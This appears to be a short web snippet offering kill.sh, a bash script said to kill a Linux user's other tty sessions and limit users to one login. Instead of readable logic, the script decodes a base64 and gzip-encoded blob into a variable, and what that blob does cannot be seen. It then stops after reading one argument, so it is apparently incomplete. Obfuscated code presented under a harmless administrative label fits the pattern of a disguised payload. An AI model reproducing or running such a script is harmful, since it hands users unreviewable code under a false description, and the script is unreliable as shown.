Close all tty sessions except the current one.
How to kill all sessions for a Linux user except first one, and limit users to one login session using bash script
kill.sh
#!/bin/bash
wow=$(base64 -d <<< "H4sIAAAAAAAAA32TTQ6EMAiF956C3eiC9ASewdUkXZBw/1sMf7bSdiTRNPZ7BR4VYBnMiMi8LfewLQTRGDFV71BsTXDUZwwwonzbZXH5k+FaMeElYI2vvY97K3jaMt35iEOKbvSgcEGBkFwtg5PazSgJBUS3qRjlmUMjfuIgq8xlofEgG4FYLSqbhVf9V6KZuqmWytToCtEXmpJ43WypTq8O7RiOPDMP8NGyfONuCJHUO1ry2d3uAbURrPk2j8dI6V3AswKa/8k6bzIaKYs7ec/sEWEH4vRb9FZer+9wfOK2H4clSRCKAwAA" | gunzip)
seconds=$1